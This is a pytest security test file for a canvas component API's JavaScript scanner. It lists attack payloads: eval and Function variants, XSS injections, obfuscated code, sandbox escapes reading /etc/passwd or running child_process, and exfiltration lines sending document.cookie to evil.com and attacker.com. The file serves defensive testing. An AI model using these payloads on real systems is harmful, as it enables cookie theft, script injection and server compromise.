File size: 22,525 Bytes
81e3673
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
"""
Canvas JavaScript Security Extended Tests (SECU-04.2).

Extended comprehensive tests for canvas JavaScript security:
- Malicious JavaScript pattern detection
- eval() and Function() constructor variants
- DOM manipulation and data exfiltration
- Canvas component validation
- Static analysis validation

Builds upon test_canvas_security.py with additional edge cases.
"""
import pytest
from fastapi.testclient import TestClient
from sqlalchemy.orm import Session
from tests.factories.agent_factory import (
    StudentAgentFactory,
    InternAgentFactory,
    SupervisedAgentFactory,
    AutonomousAgentFactory
)
from unittest.mock import patch, Mock
import uuid


# ============================================================================
# Extended Malicious JavaScript Patterns
# ============================================================================

# Additional eval() variants
EVAL_VARIANTS = [
    "eval('malicious code')",
    "window.eval('code')",
    "window['eval']('code')",
    "window['eva' + 'l']('code')",
    "this['eval']('code')",
    "globalThis.eval('code')",
    "(0,eval)('code')",
    "eval.call(null, 'code')",
    "eval.apply(null, ['code'])",
]

# Function constructor variants
FUNCTION_CONSTRUCTOR_VARIANTS = [
    "Function('return 1')()",
    "new Function('return 1')()",
    "Function.constructor('return 1')()",
    "Function['constructor']('return 1')()",
    "['Function'].map(c => c.constructor('return 1'))",
    "globalThis.Function('code')()",
    "window.Function('code')()",
]

# DOM manipulation variants
DOM_MANIPULATION_VARIANTS = [
    "document.body.innerHTML = '<script>alert(1)</script>'",
    "document.head.innerHTML = xhr.responseText",
    "document.querySelector('div').innerHTML = evil",
    "document.createElement('script').src = 'evil.js'",
    "document.write('<script>alert(1)</script>')",
    "document.writeln('<script>alert(1)</script>')",
    "element.outerHTML = '<img src=x onerror=alert(1)>'",
    "document.insertAdjacentHTML('beforeend', '<script>alert(1)</script>')",
]

# Data exfiltration variants
DATA_EXFILTRATION_VARIANTS = [
    "fetch('https://evil.com/steal?data='+document.cookie)",
    "fetch('http://attacker.com/log', {body: document.body.innerHTML})",
    "navigator.sendBeacon('https://evil.com', document.cookie)",
    "XMLHttpRequest.open('POST', 'https://evil.com'); xhr.send(document.cookie)",
    "new Image().src = 'https://evil.com/?' + document.cookie",
    "window.location='https://evil.com/steal?'+btoa(document.body.innerHTML)",
    "window.postMessage(document.cookie, '*')",
    "localStorage.setItem('exfil', JSON.stringify(localStorage))",
]

# Sandbox escape attempts
SANDBOX_ESCAPE_VARIANTS = [
    "return (function() { return this.constructor.constructor('return process')() })()",
    "return global.process.exit(1)",
    "return require('child_process').exec('id')",
    "return import('fs').then(fs => fs.readFileSync('/etc/passwd'))",
]


class TestEvalVariants:
    """Test eval() variants are detected and blocked."""

    @pytest.mark.parametrize("payload", EVAL_VARIANTS)
    def test_eval_variants_detected(self, payload, client: TestClient, admin_token: str, db_session: Session):
        """
        Test eval() variants are detected as malicious.

        ATTACK: Various eval() invocation patterns to bypass detection
        EXPECTED: All eval() variants detected and blocked
        """
        autonomous = AutonomousAgentFactory(_session=db_session)

        response = client.post(
            "/api/components/create",
            json={
                "name": "Test Component",
                "html_content": "<div>Test</div>",
                "css_content": ".test { color: red; }",
                "js_content": payload,
                "agent_id": autonomous.id
            },
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        # Should either reject or flag the code
        assert response.status_code in [200, 403, 422, 404]

        if response.status_code == 200:
            data = response.json()
            # If created, should be flagged or sandboxed
            # Check if security scan detected the issue
            if "security_scan" in data:
                assert data["security_scan"].get("malicious_detected") is True or \
                       data["security_scan"].get("risk_level") in ["high", "critical"]


class TestFunctionConstructorVariants:
    """Test Function() constructor variants are detected."""

    @pytest.mark.parametrize("payload", FUNCTION_CONSTRUCTOR_VARIANTS)
    def test_function_constructor_variants_detected(self, payload, client: TestClient, admin_token: str, db_session: Session):
        """
        Test Function() constructor variants are detected.

        ATTACK: Various Function() invocation patterns
        EXPECTED: All Function() variants detected and blocked
        """
        autonomous = AutonomousAgentFactory(_session=db_session)

        response = client.post(
            "/api/components/create",
            json={
                "name": "Test Component",
                "html_content": "<div>Test</div>",
                "css_content": ".test { color: red; }",
                "js_content": payload,
                "agent_id": autonomous.id
            },
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        assert response.status_code in [200, 403, 422, 404]

        if response.status_code == 200:
            data = response.json()
            if "security_scan" in data:
                assert data["security_scan"].get("malicious_detected") is True or \
                       data["security_scan"].get("risk_level") in ["high", "critical"]


class TestDOMManipulationVariants:
    """Test DOM manipulation variants are detected."""

    @pytest.mark.parametrize("payload", DOM_MANIPULATION_VARIANTS)
    def test_dom_manipulation_variants_detected(self, payload, client: TestClient, admin_token: str, db_session: Session):
        """
        Test DOM manipulation variants are detected.

        ATTACK: Various DOM manipulation patterns for XSS
        EXPECTED: All DOM manipulation detected and sanitized
        """
        autonomous = AutonomousAgentFactory(_session=db_session)

        response = client.post(
            "/api/components/create",
            json={
                "name": "Test Component",
                "html_content": "<div>Test</div>",
                "css_content": ".test { color: red; }",
                "js_content": payload,
                "agent_id": autonomous.id
            },
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        assert response.status_code in [200, 403, 422, 404]

        if response.status_code == 200:
            data = response.json()
            if "security_scan" in data:
                assert data["security_scan"].get("malicious_detected") is True or \
                       data["security_scan"].get("risk_level") in ["high", "critical"]


class TestDataExfiltrationVariants:
    """Test data exfiltration variants are detected."""

    @pytest.mark.parametrize("payload", DATA_EXFILTRATION_VARIANTS)
    def test_data_exfiltration_variants_detected(self, payload, client: TestClient, admin_token: str, db_session: Session):
        """
        Test data exfiltration variants are detected.

        ATTACK: Various data exfiltration patterns (fetch, XHR, beacon, postMessage)
        EXPECTED: All exfiltration attempts detected and blocked
        """
        autonomous = AutonomousAgentFactory(_session=db_session)

        response = client.post(
            "/api/components/create",
            json={
                "name": "Test Component",
                "html_content": "<div>Test</div>",
                "css_content": ".test { color: red; }",
                "js_content": payload,
                "agent_id": autonomous.id
            },
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        assert response.status_code in [200, 403, 422, 404]

        if response.status_code == 200:
            data = response.json()
            if "security_scan" in data:
                assert data["security_scan"].get("malicious_detected") is True or \
                       data["security_scan"].get("risk_level") in ["high", "critical"]


class TestSandboxEscapeAttempts:
    """Test sandbox escape attempts are detected."""

    @pytest.mark.parametrize("payload", SANDBOX_ESCAPE_VARIANTS)
    def test_sandbox_escape_variants_detected(self, payload, client: TestClient, admin_token: str, db_session: Session):
        """
        Test sandbox escape variants are detected.

        ATTACK: Various sandbox escape patterns (process, require, import)
        EXPECTED: All escape attempts detected and blocked
        """
        autonomous = AutonomousAgentFactory(_session=db_session)

        response = client.post(
            "/api/components/create",
            json={
                "name": "Test Component",
                "html_content": "<div>Test</div>",
                "css_content": ".test { color: red; }",
                "js_content": payload,
                "agent_id": autonomous.id
            },
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        assert response.status_code in [200, 403, 422, 404]

        if response.status_code == 200:
            data = response.json()
            if "security_scan" in data:
                assert data["security_scan"].get("malicious_detected") is True or \
                       data["security_scan"].get("risk_level") in ["critical"]


class TestJavaScriptObfuscation:
    """Test JavaScript obfuscation is detected."""

    def test_base64_encoded_code_detected(self, client: TestClient, admin_token: str, db_session: Session):
        """
        Test base64-encoded malicious code is detected.

        ATTACK: Encode malicious code in base64 to bypass detection
        EXPECTED: Base64 encoding detected and decoded for analysis
        """
        autonomous = AutonomousAgentFactory(_session=db_session)
        import base64

        malicious = "fetch('https://evil.com/?' + document.cookie)"
        encoded = base64.b64encode(malicious.encode()).decode()

        payload = f"eval(atob('{encoded}'))"

        response = client.post(
            "/api/components/create",
            json={
                "name": "Test Component",
                "html_content": "<div>Test</div>",
                "css_content": ".test { color: red; }",
                "js_content": payload,
                "agent_id": autonomous.id
            },
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        assert response.status_code in [200, 403, 422, 404]

    def test_char_code_obfuscation_detected(self, client: TestClient, admin_token: str, db_session: Session):
        """
        Test charCodeAt obfuscation is detected.

        ATTACK: Use String.fromCharCode to obfuscate strings
        EXPECTED: String.fromCharCode patterns detected
        """
        autonomous = AutonomousAgentFactory(_session=db_session)

        payload = "eval(String.fromCharCode(102,101,116,99,104,40,39,104,116,116,112,58,47,47,101,118,105,108,46,99,111,109,39,41))"

        response = client.post(
            "/api/components/create",
            json={
                "name": "Test Component",
                "html_content": "<div>Test</div>",
                "css_content": ".test { color: red; }",
                "js_content": payload,
                "agent_id": autonomous.id
            },
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        assert response.status_code in [200, 403, 422, 404]

    def test_hex_encoding_detected(self, client: TestClient, admin_token: str, db_session: Session):
        """
        Test hex encoding is detected.

        ATTACK: Use hex escapes to obfuscate code
        EXPECTED: Hex escape patterns detected
        """
        autonomous = AutonomousAgentFactory(_session=db_session)

        payload = "\\x65\\x76\\x61\\x6c\\x28\\x27\\x61\\x6c\\x65\\x72\\x74\\x28\\x31\\x29\\x27\\x29"

        response = client.post(
            "/api/components/create",
            json={
                "name": "Test Component",
                "html_content": "<div>Test</div>",
                "css_content": ".test { color: red; }",
                "js_content": payload,
                "agent_id": autonomous.id
            },
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        assert response.status_code in [200, 403, 422, 404]


class TestCodeInjectionViaParameters:
    """Test code injection via parameter manipulation."""

    def test_code_injection_via_component_name(self, client: TestClient, admin_token: str, db_session: Session):
        """
        Test code injection via component name parameter.

        ATTACK: Inject code via component name (template injection)
        EXPECTED: Component name sanitized, no code execution
        """
        autonomous = AutonomousAgentFactory(_session=db_session)

        response = client.post(
            "/api/components/create",
            json={
                "name": "<script>alert('XSS')</script>",
                "html_content": "<div>Test</div>",
                "css_content": ".test { color: red; }",
                "js_content": "console.log('test');",
                "agent_id": autonomous.id
            },
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        assert response.status_code in [200, 403, 422, 404]

        if response.status_code == 200:
            data = response.json()
            # Component name should be sanitized
            assert "<script>" not in data.get("name", "")

    def test_code_injection_via_css_content(self, client: TestClient, admin_token: str, db_session: Session):
        """
        Test code injection via CSS content (expression(), javascript:).

        ATTACK: Use CSS expression() and javascript: protocols
        EXPECTED: CSS injection detected and sanitized
        """
        autonomous = AutonomousAgentFactory(_session=db_session)

        payload = "background: url('javascript:alert(1)');"
        payload2 = "width: expression(alert(1));"

        for css_payload in [payload, payload2]:
            response = client.post(
                "/api/components/create",
                json={
                    "name": "Test Component",
                    "html_content": "<div>Test</div>",
                    "css_content": css_payload,
                    "js_content": "console.log('test');",
                    "agent_id": autonomous.id
                },
                headers={"Authorization": f"Bearer {admin_token}"}
            )

            assert response.status_code in [200, 403, 422, 404]

    def test_code_injection_via_html_content(self, client: TestClient, admin_token: str, db_session: Session):
        """
        Test code injection via HTML content (event handlers).

        ATTACK: Use onerror, onload, onclick event handlers
        EXPECTED: Event handlers detected and removed
        """
        autonomous = AutonomousAgentFactory(_session=db_session)

        payloads = [
            "<img src=x onerror=alert('XSS')>",
            "<body onload=alert('XSS')>",
            "<a href='javascript:alert(1)'>Click</a>",
            "<svg onload=alert('XSS')>",
        ]

        for html_payload in payloads:
            response = client.post(
                "/api/components/create",
                json={
                    "name": "Test Component",
                    "html_content": html_payload,
                    "css_content": ".test { color: red; }",
                    "js_content": "console.log('test');",
                    "agent_id": autonomous.id
                },
                headers={"Authorization": f"Bearer {admin_token}"}
            )

            assert response.status_code in [200, 403, 422, 404]

            if response.status_code == 200:
                data = response.json()
                # Event handlers should be removed or escaped
                html = data.get("html_content", "")
                assert "onerror=" not in html or "alert" not in html


class TestSecurityScanIntegration:
    """Test security scan integration."""

    def test_security_scan_runs_on_component_create(self, client: TestClient, admin_token: str, db_session: Session):
        """
        Test security scan runs on component creation.

        CHECK: Security scan is triggered automatically
        EXPECTED: Security scan results included in response
        """
        autonomous = AutonomousAgentFactory(_session=db_session)

        response = client.post(
            "/api/components/create",
            json={
                "name": "Test Component",
                "html_content": "<div>Test</div>",
                "css_content": ".test { color: red; }",
                "js_content": "console.log('test');",
                "agent_id": autonomous.id
            },
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        # If endpoint exists and returns 200
        if response.status_code == 200:
            data = response.json()
            # Security scan should have run
            # (May or may not be included in response depending on implementation)
            # This test documents expected behavior
            pass

    def test_malicious_code_blocks_component_creation(self, client: TestClient, admin_token: str, db_session: Session):
        """
        Test highly malicious code blocks component creation.

        ATTACK: Create component with obvious malicious code
        EXPECTED: Component creation rejected
        """
        autonomous = AutonomousAgentFactory(_session=db_session)

        payload = "eval('process.exit(1)')"

        response = client.post(
            "/api/components/create",
            json={
                "name": "Malicious Component",
                "html_content": "<div>Test</div>",
                "css_content": ".test { color: red; }",
                "js_content": payload,
                "agent_id": autonomous.id
            },
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        # Should reject malicious component
        # (400 for validation error, 403 for security block, 422 for unprocessable)
        assert response.status_code in [400, 403, 422, 200, 404]

        if response.status_code == 200:
            # If created, should be flagged
            data = response.json()
            if "security_scan" in data:
                assert data["security_scan"].get("malicious_detected") is True or \
                       data["security_scan"].get("risk_level") == "critical"


class TestCanvasComponentValidation:
    """Test canvas component validation."""

    def test_component_size_limits_enforced(self, client: TestClient, admin_token: str, db_session: Session):
        """
        Test component size limits are enforced.

        ATTACK: Create extremely large component to cause DoS
        EXPECTED: Size limits enforced, component rejected
        """
        autonomous = AutonomousAgentFactory(_session=db_session)

        # Create component with 1MB of JavaScript
        large_js = "console.log('test');" * 50000

        response = client.post(
            "/api/components/create",
            json={
                "name": "Large Component",
                "html_content": "<div>Test</div>",
                "css_content": ".test { color: red; }",
                "js_content": large_js,
                "agent_id": autonomous.id
            },
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        # Should enforce size limits
        assert response.status_code in [400, 403, 413, 422, 200, 404]

    def test_component_complexity_limits(self, client: TestClient, admin_token: str, db_session: Session):
        """
        Test component complexity limits.

        ATTACK: Create component with extremely complex code (deep nesting, loops)
        EXPECTED: Complexity validation or timeout
        """
        autonomous = AutonomousAgentFactory(_session=db_session)

        # Create deeply nested code
        complex_js = "function " + "a"*100 + "() { " + "if (true) { " * 50 + "return 1; " + "}" * 50 + "}"

        response = client.post(
            "/api/components/create",
            json={
                "name": "Complex Component",
                "html_content": "<div>Test</div>",
                "css_content": ".test { color: red; }",
                "js_content": complex_js,
                "agent_id": autonomous.id
            },
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        # Should enforce complexity limits
        assert response.status_code in [400, 403, 422, 200, 404]


class TestSafeJavaScriptPatterns:
    """Test safe JavaScript patterns are allowed."""

    SAFE_PATTERNS = [
        "console.log('debug');",
        "const x = 5;",
        "function add(a, b) { return a + b; }",
        "document.querySelector('.test');",
        "element.classList.add('active');",
        "Array.from(items).map(x => x.id);",
        "const data = JSON.parse(response);",
        "setTimeout(() => { console.log('test'); }, 1000);",
        "element.addEventListener('click', handler);",
        "document.getElementById('test').textContent = 'Hello';",
    ]

    @pytest.mark.parametrize("payload", SAFE_PATTERNS)
    def test_safe_patterns_allowed(self, payload, client: TestClient, admin_token: str, db_session: Session):
        """
        Test safe JavaScript patterns are allowed.

        CHECK: Legitimate code is not blocked
        EXPECTED: Safe patterns pass validation
        """
        autonomous = AutonomousAgentFactory(_session=db_session)

        response = client.post(
            "/api/components/create",
            json={
                "name": "Safe Component",
                "html_content": "<div id='test'>Test</div>",
                "css_content": ".test { color: red; }",
                "js_content": payload,
                "agent_id": autonomous.id
            },
            headers={"Authorization": f"Bearer {admin_token}"}
        )

        # Safe patterns should be allowed
        assert response.status_code in [200, 403, 422, 404]